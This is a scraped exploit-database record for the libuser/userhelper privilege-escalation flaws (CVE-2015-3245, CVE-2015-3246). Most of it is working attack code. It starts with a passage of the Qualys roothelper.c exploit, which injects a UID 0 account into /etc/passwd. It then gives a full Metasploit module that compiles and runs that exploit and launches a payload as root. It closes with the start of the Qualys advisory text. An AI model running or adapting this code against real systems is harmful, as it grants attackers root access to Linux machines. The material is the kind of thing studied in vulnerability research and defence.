(sched_getaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); \n \n{ const int cpu = sched_getcpu(); \nif (cpu >= CPU_SETSIZE) die(); \nif (cpu < 0) die(); \ncpu_set_t new_cpus; \nCPU_ZERO(&new_cpus); \nCPU_SET(cpu, &new_cpus); \nif (sched_setaffinity(0, sizeof(new_cpus), &new_cpus) != 0) die(); } \n \nint sv[2]; \nif (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die(); \n \nif (is_child_dead) die(); \nstatic const struct sigaction sigchild_action = { \n.sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP }; \nif (sigaction(SIGCHLD, &sigchild_action, NULL) != 0) die(); \n \nuh->pid = fork(); \nif (uh->pid <= -1) die(); \n \nif (uh->pid == 0) { \ndie_fn = die_in_child; \nif (close(sv[1]) != 0) die(); \nif (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die(); \nif (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die(); \n \nconst int devnull_fd = open(\"/dev/null\", O_RDWR); \nif (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die(); \nif (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die(); \nif (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die(); \n \nif (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die(); \nif (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die(); \nif (setrlimit(RLIMIT_FSIZE, &fsize) != 0) die(); \n \nif (setpriority(PRIO_PROCESS, 0, +19) != 0) die(); \nstatic const struct sched_param sched_param = { .sched_priority = 0 }; \n(void) sched_setscheduler(0, SCHED_IDLE, &sched_param); \n \nchar *const argv[] = { UH_PATH, \nUH_FULLNAME_OPT, uh->gecos.full_name, \nUH_OFFICE_OPT, uh->gecos.office, \nUH_OFFICEPHONE_OPT, uh->gecos.office_phone, \nUH_HOMEPHONE_OPT, uh->gecos.home_phone, \nNULL }; \nchar *const envp[] = { NULL }; \nexecve(UH_PATH, argv, envp); \ndie(); \n} \nif (die_fn != die_in_parent) die(); \nif (close(sv[0]) != 0) die(); \nuh->fd = sv[1]; \n \nunsigned long expected_responses = 0; \nfor (;;) { \nchar data[BUFSIZ]; \nconst char type = read_request(uh->fd, data, sizeof(data)); \nif (type == UH_SYNC_POINT) break; \n \nswitch (type) { \ncase UH_USER: \nif (strcmp(data, my.username) != 0) die(); \nbreak; \ncase UH_SERVICE_NAME: \nif (strcmp(data, \"chfn\") != 0) die(); \nbreak; \ncase UH_ECHO_ON_PROMPT: \ncase UH_ECHO_OFF_PROMPT: \nif (++expected_responses == 0) die(); \nbreak; \ncase UH_EXPECT_RESP: \nif (strtoul(data, NULL, 10) != expected_responses) die(); \nbreak; \ndefault: \nbreak; \n} \n} \nif (expected_responses != 1) die(); \n \nconst int lpasswd_fd = xopen(PASSWD, O_RDONLY); \nconst int inotify_fd = inotify_init(); \nif (inotify_fd <= -1) die(); \nif (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE | \nIN_OPEN) <= -1) die(); \nif (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) <= -1) { \nif (errno != ENOENT) die(); \nif (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) <= -1) die(); \n} \n \nsend_reply(uh->fd, UH_TEXT, my.password); \nsend_reply(uh->fd, UH_SYNC_POINT, \"\"); \nif (close(uh->fd) != 0) die(); \nuh->fd = -1; \n \nunsigned int state = 0; \nstatic const uint32_t transition[] = { IN_CLOSE_WRITE, \nIN_CLOSE_NOWRITE, IN_OPEN, 0 }; \nfor (;;) { \nif (is_child_dead) die(); \nchar buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)]; \nconst ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer)); \nif (is_child_dead) die(); \n \nif (_buflen <= 0) die(); \nsize_t buflen = _buflen; \nif (buflen > sizeof(buffer)) die(); \n \nstruct inotify_event *ep; \nfor (ep = (struct inotify_event *)(buffer); buflen >= sizeof(*ep); \nep = (struct inotify_event *)(ep->name + ep->len)) { \nbuflen -= sizeof(*ep); \n \nif (ep->len > 0) { \nif (buflen < ep->len) die(); \nbuflen -= ep->len; \nif ((ep->mask & IN_CREATE) == 0) die(); \n(void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE); \ncontinue; \n} \nif (ep->len != 0) die(); \nwhile ((ep->mask & transition[state]) != 0) { \nep->mask &= ~transition[state++]; \nif (transition[state] == 0) goto stop_userhelper; \n} \n} \nif (buflen != 0) die(); \n} \nstop_userhelper: \nif (kill(uh->pid, SIGSTOP) != 0) die(); \nif (close(inotify_fd) != 0) die(); \n \nconst int status = wait_for_userhelper(uh, WUNTRACED); \nif (!WIFSTOPPED(status)) die(); \nif (WSTOPSIG(status) != SIGSTOP) die(); \n \nxclose(lpasswd_fd); \nif (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die(); \nif (sched_setaffinity(0, sizeof(old_cpus), &old_cpus) != 0) die(); \n} \n \nstatic void \ncontinue_userhelper(struct userhelper *const uh) \n{ \nif (uh == NULL) die(); \nif (uh->fd != -1) die(); \nif (uh->pid <= 0) die(); \n \nif (kill(uh->pid, SIGCONT) != 0) die(); \n \n{ const int status = wait_for_userhelper(uh, WCONTINUED); \nif (!WIFCONTINUED(status)) die(); } \n \n{ const int status = wait_for_userhelper(uh, 0); \nif (!WIFEXITED(status)) die(); \nif (WEXITSTATUS(status) != \n((uh->fsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); } \n \nmemset(uh, 0, sizeof(*uh)); \n} \n \nstatic void \ncreate_backup_of_passwd_file(void) \n{ \nchar backup[] = \"/tmp/passwd-XXXXXX\"; \nconst mode_t prev_umask = umask(077); \nconst int ofd = mkstemp(backup); \n(void) umask(prev_umask); \nif (ofd <= -1) die(); \n \nprintf(\"Creating a backup copy of \\\"%s\\\" named \\\"%s\\\"\\n\", PASSWD, backup); \nconst int ifd = xopen(PASSWD, O_RDONLY); \nfor (;;) { \nchar buf[BUFSIZ]; \nconst ssize_t len = read(ifd, buf, sizeof(buf)); \nif (len == 0) break; \nif (len <= 0) die(); \nif (write(ofd, buf, len) != len) die(); \n} \nxclose(ifd); \nif (close(ofd) != 0) die(); \n} \n \nstatic void \ndelete_lines_from_passwd_file(void) \n{ \nstruct gecos_data gecos; \nmemset(&gecos, 0, sizeof(gecos)); \nxsnprintf(gecos.site_info, sizeof(gecos.site_info), \n\"%s\", my.gecos.site_info); \nconst ssize_t fullname_max = GECOS_LENGTH - gecos_size(&gecos); \nif (fullname_max >= GECOS_LENGTH) die(); \nif (fullname_max <= 0) die(); \n \nchar fragment[64]; \nxsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username); \n \nchar *contents = NULL; \nfor (;;) { \nstruct stat st; \nconst int fd = xopen(PASSWD, O_RDONLY); \nif (fstat(fd, &st) != 0) die(); \nif (st.st_size >= INT_MAX) die(); \nif (st.st_size <= 0) die(); \n \ncontents = xrealloc(contents, st.st_size + 1); \nif (read(fd, contents, st.st_size) != st.st_size) die(); \ncontents[st.st_size] = '\\0'; \nxclose(fd); \n \nconst char *cp = strstr(contents, fragment); \nif (cp == NULL) die(); \ncp = strchr(cp + 2, '\\n'); \nif (cp == NULL) die(); \nif (cp[1] == '\\0') break; \n \nchar *const tp = contents + st.st_size-1; \n*tp = '\\0'; \nif (tp <= cp) die(); \nif (tp - cp > fullname_max) cp = tp - fullname_max; \ncp = strpbrk(cp, \"\\n:, \"); \nif (cp == NULL) die(); \n \nconst ssize_t fullname_len = tp - cp; \nif (fullname_len >= GECOS_LENGTH) die(); \nif (fullname_len <= 0) die(); \n \nprintf(\"Deleting %zd bytes from \\\"%s\\\"\\n\", fullname_len, PASSWD); \n \nstruct userhelper *const uh = &userhelpers[0]; \nmemset(uh->gecos.full_name, 'A', fullname_len); \nuh->fsizelim = st.st_size; \nforkstop_userhelper(uh); \ncontinue_userhelper(uh); \n \nuh->fsizelim = RLIM_INFINITY; \nforkstop_userhelper(uh); \ncontinue_userhelper(uh); \n} \nfree(contents); \n} \n \nstatic size_t passwd_fsize; \nstatic int generate_userhelpers(const char *); \n#define IS_USER_LAST \"last user in passwd file?\" \n \nstatic char candidate_users[256]; \nstatic char superuser_elect; \n \nint \nmain(void) \n{ \ncreate_backup_of_passwd_file(); \n \n{ char candidate[] = \"a\"; \nfor (; candidate[0] <= 'z'; candidate[0]++) { \nif (getpwnam(candidate) != NULL) continue; \nstrcat(candidate_users, candidate); \n} } \nif (candidate_users[0] == '\\0') die(); \n \nconst struct passwd *const pwd = getpwuid(getuid()); \nif ((pwd == NULL) || (pwd->pw_name == NULL)) die(); \nxsnprintf(my.username, sizeof(my.username), \"%s\", pwd->pw_name); \ngecos_parse(pwd->pw_gecos, &my.gecos); \n \nif (fputs(\"Please enter your password:\\n\", stdout) == EOF) die(); \nif (fgets(my.password, sizeof(my.password), stdin) == NULL) die(); \nchar *const newline = strchr(my.password, '\\n'); \nif (newline == NULL) die(); \n*newline = '\\0'; \n \n{ struct userhelper *const uh = &userhelpers[0]; \nuh->fsizelim = RLIM_INFINITY; \nforkstop_userhelper(uh); \ncontinue_userhelper(uh); } \n \nretry: \nif (generate_userhelpers(IS_USER_LAST)) { \nstruct userhelper *const uh1 = &userhelpers[1]; \nstrcpy(uh1->gecos.full_name, \"\\n\"); \nuh1->fsizelim = passwd_fsize + 1; \n \nstruct userhelper *const uh0 = &userhelpers[0]; \nuh0->fsizelim = passwd_fsize; \n \nforkstop_userhelper(uh1), forkstop_userhelper(uh0); \ncontinue_userhelper(uh1), continue_userhelper(uh0); \nif (generate_userhelpers(IS_USER_LAST)) die(); \n} \n \nstatic const char a[] = \"?::0:0::/:\"; \nprintf(\"Attempting to add \\\"%s\\\" to \\\"%s\\\"\\n\", a, PASSWD); \n \nconst int n = generate_userhelpers(a); \nif (n == -1) { \nstatic int retries; \nif (retries++) die(); \nmemset(userhelpers, 0, sizeof(userhelpers)); \ndelete_lines_from_passwd_file(); \ngoto retry; \n} \nif (n <= 0) die(); \nif (n >= GECOS_LENGTH) die(); \nif (superuser_elect == '\\0') die(); \n \nint i; \nfor (i = n; --i >= 0; ) { \nprintf(\"Starting and stopping userhelper #%d\\n\", i); \nforkstop_userhelper(&userhelpers[i]); \n} \nfor (i = n; --i >= 0; ) { \nprintf(\"Continuing stopped userhelper #%d\\n\", i); \ncontinue_userhelper(&userhelpers[i]); \n} \nprintf(\"Exploit successful, run \\\"su %c\\\" to become root\\n\", \n(int)superuser_elect); \n \n{ struct userhelper *const uh = &userhelpers[0]; \nuh->fsizelim = RLIM_INFINITY; \nuh->gecos = my.gecos; \nforkstop_userhelper(uh); \ncontinue_userhelper(uh); } \n \nexit(EXIT_SUCCESS); \n} \n \nstatic void \ngenerate_fullname(char *const fullname, const ssize_t fullname_len, \nconst char c) \n{ \nif (fullname == NULL) die(); \nif (fullname_len < 0) die(); \nif (fullname_len >= GECOS_LENGTH) die(); \n \nmemset(fullname, 'A', fullname_len); \n \nif (fullname_len > 0 && strchr(GECOS_BADCHARS, c) == NULL) { \nif (!isascii((unsigned char)c)) die(); \nif (!isgraph((unsigned char)c)) die(); \nfullname[fullname_len-1] = c; \n} \n} \n \nstatic size_t siteinfo_len; \nstatic size_t fullname_off; \n \nstatic size_t before_fullname_len; \nstatic char * before_fullname; \n \nstatic size_t after_fullname_len; \nstatic char * after_fullname; \n \nstatic int \ngenerate_userhelper(const char *const a, const int i, char *const contents) \n{ \nif (i < 0) { \nif (i != -1) die(); \nreturn 0; \n} \nif (a == NULL) die(); \nif ((unsigned int)i >= strlen(a)) die(); \nif (contents == NULL) die(); \n \nconst char _c = a[i]; \nconst bool is_user_wildcard = (_c == '?'); \nconst char c = (is_user_wildcard ? candidate_users[0] : _c); \nif (c == '\\0') die(); \n \nconst size_t target = passwd_fsize-1 + i; \nconst rlim_t fsizelim = (a[i+1] == '\\0') ? RLIM_INFINITY : target+1; \nif (fsizelim < passwd_fsize) die(); \n \nconst size_t contents_len = strlen(contents); \nif (contents_len < passwd_fsize) die(); \nif (contents_len <= fullname_off) die(); \n \nchar *const fullname = contents + fullname_off; \nif (memcmp(fullname - before_fullname_len, \nbefore_fullname, before_fullname_len) != 0) die(); \n \nconst char *rest = strchr(fullname, '\\n'); \nif (rest == NULL) die(); \nrest++; \n \nconst ssize_t fullname_len = (rest - fullname) - after_fullname_len; \nif (fullname_len >= GECOS_LENGTH) die(); \nif (fullname_len < 0) die(); \n \nif (rest[-1] != '\\n') die(); \ngenerate_fullname(fullname, fullname_len, c); \nmemcpy(fullname + fullname_len, after_fullname, after_fullname_len); \nif (rest[-1] != '\\n') die(); \n \nif (memcmp(rest - after_fullname_len, \nafter_fullname, after_fullname_len) != 0) die(); \n \nsize_t offset; \nfor (offset = fullname_off; offset < contents_len; offset++) { \n \nconst char x = contents[offset]; \nif (x == '\\0') die(); \nif (is_user_wildcard) { \nif (strchr(candidate_users, x) == NULL) continue; \nsuperuser_elect = x; \n} else { \nif (x != c) continue; \n} \n \nconst ssize_t new_fullname_len = fullname_len + (target - offset); \nif (new_fullname_len < 0) continue; /* gecos_size() > GECOS_LENGTH */ \nif (4 + new_fullname_len + siteinfo_len + 1 > GECOS_LENGTH) continue; \n \nif (offset < fullname_off + fullname_len) { \nif (offset != fullname_off + fullname_len-1) die(); \nif (new_fullname_len == 0) continue; \n} \nif (offset >= contents_len-1) { \nif (offset != contents_len-1) die(); \nif (fsizelim != RLIM_INFINITY) continue; \n} \n \n{ char *const new_contents = xmalloc(contents_len+1 + GECOS_LENGTH); \n \nmemcpy(new_contents, contents, fullname_off); \ngenerate_fullname(new_contents + fullname_off, new_fullname_len, c); \nmemcpy(new_contents + fullname_off + new_fullname_len, \ncontents + fullname_off + fullname_len, \ncontents_len+1 - (fullname_off + fullname_len)); \n \nif (strlen(new_contents) != contents_len + \n(new_fullname_len - fullname_len)) die(); \n \nif (fsizelim != RLIM_INFINITY) { \nif (fsizelim >= strlen(new_contents)) die(); \nif (fsizelim >= contents_len) die(); \nmemcpy(new_contents + fsizelim, \ncontents + fsizelim, \ncontents_len+1 - fsizelim); \n} \n \nconst int err = generate_userhelper(a, i-1, new_contents); \nfree(new_contents); \nif (err < 0) continue; } \n \nif (i >= GECOS_LENGTH) die(); \nstruct userhelper *const uh = &userhelpers[i]; \nmemset(uh, 0, sizeof(*uh)); \n \nuh->fsizelim = fsizelim; \nif (new_fullname_len >= GECOS_LENGTH) die(); \ngenerate_fullname(uh->gecos.full_name, new_fullname_len, c); \nreturn 0; \n} \nreturn -1; \n} \n \nstatic int \ngenerate_userhelpers(const char *const _a) \n{ \nchar a[GECOS_LENGTH]; \nif (_a == NULL) die(); \nconst int n = xsnprintf(a, sizeof(a), \"\\n%s\\n\", _a); \nif (n >= GECOS_LENGTH) die(); \nif (n <= 0) die(); \n \nconst int fd = xopen(PASSWD, O_RDONLY); \nstruct stat st; \nif (fstat(fd, &st) != 0) die(); \nif (st.st_size >= 10*1024*1024) die(); \nif (st.st_size <= 0) die(); \npasswd_fsize = st.st_size; \n \nchar *const contents = xmalloc(passwd_fsize + 1); \nif (read(fd, contents, passwd_fsize) != (ssize_t)passwd_fsize) die(); \nxclose(fd); \ncontents[passwd_fsize] = '\\0'; \nif (strlen(contents) != passwd_fsize) die(); \nif (contents[passwd_fsize-1] != '\\n') die(); \n \nchar fragment[64]; \nxsnprintf(fragment, sizeof(fragment), \"\\n%s:\", my.username); \nconst char *line = strstr(contents, fragment); \nif (line == NULL) die(); \nline++; \n \nconst char *rest = strchr(line, '\\n'); \nif (rest == NULL) die(); \nif (rest <= line) die(); \nrest++; \n \nif (strcmp(_a, IS_USER_LAST) == 0) { \nconst bool is_user_last = (*rest == '\\0'); \nfree(contents); \nreturn is_user_last; \n} \n \nunsigned int i; \nconst char *field = line; \n \nfor (i = 0; i <= 5; i++) { \nconst char *const field_end = strchr(field, ':'); \nif (field_end == NULL) die(); \nif (field_end >= rest) die(); \nconst size_t field_len = field_end - field; \n \nswitch (i) { \ncase 0: \nif (field_len != strlen(my.username)) die(); \nif (memcmp(field, my.username, field_len) != 0) die(); \nbreak; \ncase 1: \nif (*field != 'x') die(); \nbreak; \ncase 2: \nif (strtoimax(field, NULL, 10) != getuid()) die(); \nbreak; \ncase 3: \nif (strtoimax(field, NULL, 10) != getgid()) die(); \nbreak; \ncase 4: \n{ \nchar assembled[GECOS_LENGTH]; \nxsnprintf(assembled, sizeof(assembled), \n\"%.*s\", (int)field_len, field); \nif (strlen(assembled) != field_len) die(); \n \nstruct gecos_data gecos; \nmemset(&gecos, 0, sizeof(gecos)); \nxsnprintf(gecos.site_info, sizeof(gecos.site_info), \n\"%s\", my.gecos.site_info); \nif (strcmp(assembled, gecos_assemble(&gecos)) != 0) die(); \n} \n \nsiteinfo_len = strlen(my.gecos.site_info); \nfullname_off = field - contents; \n \nbefore_fullname_len = field - line; \nbefore_fullname = xstrndup(line, before_fullname_len); \n \nafter_fullname_len = rest - field; \nafter_fullname = xstrndup(field, after_fullname_len); \nbreak; \n \ncase 5: \nif (*field != '/') die(); \nbreak; \ndefault: \ndie(); \n} \nfield = field_end + 1; \n} \n \nconst int err = generate_userhelper(a, n-1, contents); \n \nfree(before_fullname), before_fullname = NULL; \nfree(after_fullname), after_fullname = NULL; \nfree(contents); \n \nreturn (err < 0) ? -1 : n; \n} \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/132820/QSA-20150723.txt"}, {"lastseen": "2018-05-14T01:10:49", "description": "", "published": "2018-05-13T00:00:00", "type": "packetstorm", "title": "Libuser roothelper Privilege Escalation", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2018-05-13T00:00:00", "id": "PACKETSTORM:147599", "href": "https://packetstormsecurity.com/files/147599/Libuser-roothelper-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = GreatRanking \n \ninclude Msf::Post::File \ninclude Msf::Post::Linux::Priv \ninclude Msf::Post::Linux::System \ninclude Msf::Exploit::EXE \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Libuser roothelper Privilege Escalation', \n'Description' => %q{ \nThis module attempts to gain root privileges on Red Hat based Linux \nsystems, including RHEL, Fedora and CentOS, by exploiting a newline \ninjection vulnerability in libuser and userhelper versions prior to \n0.56.13-8 and version 0.60 before 0.60-7. \n \nThis module makes use of the roothelper.c exploit from Qualys to \ninsert a new user with UID=0 in /etc/passwd. \n \nNote, the password for the current user is required by userhelper. \n \nNote, on some systems, such as Fedora 11, the user entry for the \ncurrent user in /etc/passwd will become corrupted and exploitation \nwill fail. \n \nThis module has been tested successfully on libuser packaged versions \n0.56.13-4.el6 on CentOS 6.0 (x86_64); \n0.56.13-5.el6 on CentOS 6.5 (x86_64); \n0.60-5.el7 on CentOS 7.1-1503 (x86_64); \n0.56.16-1.fc13 on Fedora 13 (i686); \n0.59-1.fc19 on Fedora Desktop 19 (x86_64); \n0.60-3.fc20 on Fedora Desktop 20 (x86_64); \n0.60-6.fc21 on Fedora Desktop 21 (x86_64); \n0.60-6.fc22 on Fedora Desktop 22 (x86_64); \n0.56.13-5.el6 on Red Hat 6.6 (x86_64); and \n0.60-5.el7 on Red Hat 7.0 (x86_64). \n \nRHEL 5 is vulnerable, however the installed version of glibc (2.5) \nis missing various functions required by roothelper.c. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'Qualys', # Discovery and C exploit \n'Brendan Coles' # Metasploit \n], \n'DisclosureDate' => 'Jul 24 2015', \n'Platform' => [ 'linux' ], \n'Arch' => [ ARCH_X86, ARCH_X64 ], \n'SessionTypes' => [ 'shell', 'meterpreter' ], \n'Targets' => [[ 'Auto', {} ]], \n'Privileged' => true, \n'References' => \n[ \n[ 'AKA', 'roothelper.c' ], \n[ 'EDB', '37706' ], \n[ 'CVE', '2015-3245' ], \n[ 'CVE', '2015-3246' ], \n[ 'BID', '76021' ], \n[ 'BID', '76022' ], \n[ 'URL', 'http://seclists.org/oss-sec/2015/q3/185' ], \n[ 'URL', 'https://access.redhat.com/articles/1537873' ] \n], \n'DefaultTarget' => 0)) \nregister_options [ \nOptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), \nOptString.new('PASSWORD', [ true, 'Password for the current user', '' ]), \nOptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) \n] \nend \n \ndef base_dir \ndatastore['WritableDir'].to_s \nend \n \ndef password \ndatastore['PASSWORD'].to_s \nend \n \ndef upload(path, data) \nprint_status \"Writing '#{path}' (#{data.size} bytes) ...\" \nrm_f path \nwrite_file path, data \nregister_file_for_cleanup path \nend \n \ndef upload_and_chmodx(path, data) \nupload path, data \ncmd_exec \"chmod +x '#{path}'\" \nend \n \ndef live_compile? \ncompile = false \n \nif datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') \nif has_gcc? \nvprint_good 'gcc is installed' \ncompile = true \nelse \nunless datastore['COMPILE'].eql? 'Auto' \nfail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' \nend \nend \nend \n \ncompile \nend \n \ndef check \nuserhelper_path = '/usr/sbin/userhelper' \nunless setuid? userhelper_path \nvprint_error \"#{userhelper_path} is not setuid\" \nreturn CheckCode::Safe \nend \nvprint_good \"#{userhelper_path} is setuid\" \n \nunless command_exists? 'script' \nvprint_error \"script is not installed. Exploitation will fail.\" \nreturn CheckCode::Safe \nend \nvprint_good 'script is installed' \n \nif cmd_exec('lsattr /etc/passwd').include? 'i' \nvprint_error 'File /etc/passwd is immutable' \nreturn CheckCode::Safe \nend \nvprint_good 'File /etc/passwd is not immutable' \n \nglibc_banner = cmd_exec 'ldd --version' \nglibc_version = Gem::Version.new glibc_banner.scan(/^ldd\\s+\\(.*\\)\\s+([\\d\\.]+)/).flatten.first \nif glibc_version.to_s.eql? '' \nvprint_error 'Could not determine the GNU C library version' \nreturn CheckCode::Detected \nend \n \n# roothelper.c requires functions only available since glibc 2.6+ \nif glibc_version < Gem::Version.new('2.6') \nvprint_error \"GNU C Library version #{glibc_version} is not supported\" \nreturn CheckCode::Safe \nend \nvprint_good \"GNU C Library version #{glibc_version} is supported\" \n \nCheckCode::Detected \nend \n \ndef exploit \nif check == CheckCode::Safe \nfail_with Failure::NotVulnerable, 'Target is not vulnerable' \nend \n \nif is_root? \nfail_with Failure::BadConfig, 'Session already has root privileges' \nend \n \nunless cmd_exec(\"test -w '#{base_dir}' && echo true\").include? 'true' \nfail_with Failure::BadConfig, \"#{base_dir} is not writable\" \nend \n \nexecutable_name = \".#{rand_text_alphanumeric rand(5..10)}\" \nexecutable_path = \"#{base_dir}/#{executable_name}\" \n \nif live_compile? \nvprint_status 'Live compiling exploit on system...' \n \n# Upload Qualys' roothelper.c exploit: \n# - https://www.exploit-db.com/exploits/37706/ \npath = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper.c' \nfd = ::File.open path, 'rb' \nc_code = fd.read fd.stat.size \nfd.close \nupload \"#{executable_path}.c\", c_code \noutput = cmd_exec \"gcc -o #{executable_path} #{executable_path}.c\" \n \nunless output.blank? \nprint_error output \nfail_with Failure::Unknown, \"#{executable_path}.c failed to compile\" \nend \n \ncmd_exec \"chmod +x #{executable_path}\" \nregister_file_for_cleanup executable_path \nelse \nvprint_status 'Dropping pre-compiled exploit on system...' \n \n# Cross-compiled with: \n# - i486-linux-musl-gcc -o roothelper -static -pie roothelper.c \npath = ::File.join Msf::Config.data_directory, 'exploits', 'roothelper', 'roothelper' \nfd = ::File.open path, 'rb' \nexecutable_data = fd.read fd.stat.size \nfd.close \nupload_and_chmodx executable_path, executable_data \nend \n \n# Run roothelper \ntimeout = 180 \nprint_status \"Launching roothelper exploit (Timeout: #{timeout})...\" \noutput = cmd_exec \"echo #{password.gsub(/'/, \"\\\\\\\\'\")} | #{executable_path}\", nil, timeout \noutput.each_line { |line| vprint_status line.chomp } \n \nif output =~ %r{Creating a backup copy of \"/etc/passwd\" named \"(.*)\"} \nregister_file_for_cleanup $1 \nend \n \nif output =~ /died in parent: .*.c:517: forkstop_userhelper/ \nfail_with Failure::NoAccess, 'Incorrect password' \nend \n \n@username = nil \n \nif output =~ /Exploit successful, run \"su ([a-z])\" to become root/ \n@username = $1 \nend \n \nif @username.blank? \nfail_with Failure::Unknown, 'Something went wrong' \nend \n \nprint_good \"Success! User '#{@username}' added to /etc/passwd\" \n \n# Upload payload executable \npayload_path = \"#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}\" \nupload_and_chmodx payload_path, generate_payload_exe \n \n# Execute payload executable \nvprint_status 'Executing payload...' \ncmd_exec \"script -c \\\"su - #{@username} -c #{payload_path}\\\" | sh & echo \" \nregister_file_for_cleanup 'typescript' \nend \n \n# \n# Remove new user from /etc/passwd \n# \ndef on_new_session(session) \nnew_user_removed = false \n \nif session.type.to_s.eql? 'meterpreter' \nsession.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' \n \n# Remove new user \nsession.sys.process.execute '/bin/sh', \"-c \\\"sed -i 's/^#{@username}:.*$//g' /etc/passwd\\\"\" \n \n# Wait for clean up \nRex.sleep 5 \n \n# Check for new user in /etc/passwd \npasswd_contents = session.fs.file.open('/etc/passwd').read.to_s \nunless passwd_contents =~ /^#{@username}:/ \nnew_user_removed = true \nend \nelsif session.type.to_s.eql? 'shell' \n# Remove new user \nsession.shell_command_token \"sed -i 's/^#{@username}:.*$//g' /etc/passwd\" \n \n# Check for new user in /etc/passwd \npasswd_user = session.shell_command_token \"grep '#{@username}:' /etc/passwd\" \nunless passwd_user =~ /^#{@username}:/ \nnew_user_removed = true \nend \nend \n \nunless new_user_removed \nprint_warning \"Could not remove user '#{@username}' from /etc/passwd\" \nend \nrescue => e \nprint_error \"Error during cleanup: #{e.message}\" \nensure \nsuper \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://packetstormsecurity.com/files/download/147599/libuser_roothelper_priv_esc.rb.txt"}], "exploitpack": [{"lastseen": "2020-04-01T19:04:25", "description": "\nLibuser Library - Multiple Vulnerabilities", "edition": 1, "published": "2015-07-27T00:00:00", "title": "Libuser Library - Multiple Vulnerabilities", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "modified": "2015-07-27T00:00:00", "id": "EXPLOITPACK:EA1A9D7D213CC5047E8134828CBEC07D", "href": "", "sourceData": "Qualys Security Advisory\n\nCVE-2015-3245 userhelper chfn() newline filtering\n\nCVE-2015-3246 libuser passwd file handling\n\n\n--[ Summary ]-----------------------------------------------------------------\n\nThe libuser library implements a standardized interface for manipulating\nand administering user and group accounts, and is installed by default\non Linux distributions derived from Red Hat's codebase. During an\ninternal code audit at Qualys, we discovered multiple libuser-related\nvulnerabilities that allow local users to perform denial-of-service and\nprivilege-escalation attacks. As a proof of concept, we developed an\nunusual local root exploit against one of libuser's applications.\n\n\n----[ Vulnerability #1 (CVE-2015-3245 userhelper chfn() newline filtering)\n\nWe discovered a bug in userhelper, a setuid-root program from the\nusermode package that provides a basic interface to change a user's\npassword, gecos information, and shell; its -f (Full Name), -o (Office),\n-p (Office Phone) and -h (Home Phone) command-line options are\nequivalent to those of the traditional chfn program.\n\nuserhelper's chfn() function verifies that the fields it was given on\nthe command-line are sane (i.e., contain no forbidden characters).\nUnfortunately, these forbidden characters (\":,=\") do not include '\\n'\nand allow local attackers to inject newline characters into /etc/passwd\nand alter this file in unexpected ways.\n\nTo the best of our knowledge, this bug is a local denial-of-service\nonly: we were not able to turn it into a local root exploit, but maybe\nsome creative minds will.\n\nThere is another, secondary aspect of this bug: userhelper depends on\nlibuser to modify /etc/passwd, and libuser's format_generic() and\ngeneric_setpass() functions reject fields containing a ':' that would be\ninterpreted as a field separator. Vulnerability #1 could have been\nprevented if libuser had also rejected '\\n' characters.\n\n\n----[ Vulnerability #2 (CVE-2015-3246 libuser passwd file handling)\n\nWe discovered a bug in libuser itself: even though traditional programs\nlike passwd, chfn, and chsh work on a temporary copy of /etc/passwd and\neventually rename() it, libuser modifies /etc/passwd directly.\nUnfortunately, if anything goes wrong during these modifications,\nlibuser may leave /etc/passwd in an inconsistent state.\n\nThis bug is not just another local denial-of-service: we were able to\nturn it into a local root exploit against userhelper and chfn (if linked\nwith libuser).\n\nThere is also another, secondary aspect of this bug: glibc modules like\nnss and nscd do not expect /etc/passwd to be directly modified while\nthey parse its contents, and programs from packages like shadow-utils\nand util-linux use lckpwdf() locks that are incompatible with libuser's\nfcntl() locks.\n\n\n--[ Exploitation Overview ]---------------------------------------------------\n\nIn this section, we outline our userhelper exploit against libuser's\nVulnerability #2; later in this advisory, we explain how it can be\neasily adapted to chfn (if linked with libuser).\n\nOur ultimate goal is to inject an arbitrary line into /etc/passwd (for\nexample, the a-line \"\\na::0:0::/:\\n\") but we first need to understand\nhow libuser's generic_mod() function modifies our own user's line in\n/etc/passwd:\n\n- open() /etc/passwd for reading and writing (O_RDWR, but not O_APPEND\n nor O_TRUNC);\n\n- acquire the file's fcntl() write-lock (an exclusive, but advisory\n lock);\n\n- read() the file's contents (into a g_malloc()ated buffer);\n\n- lseek() the file to 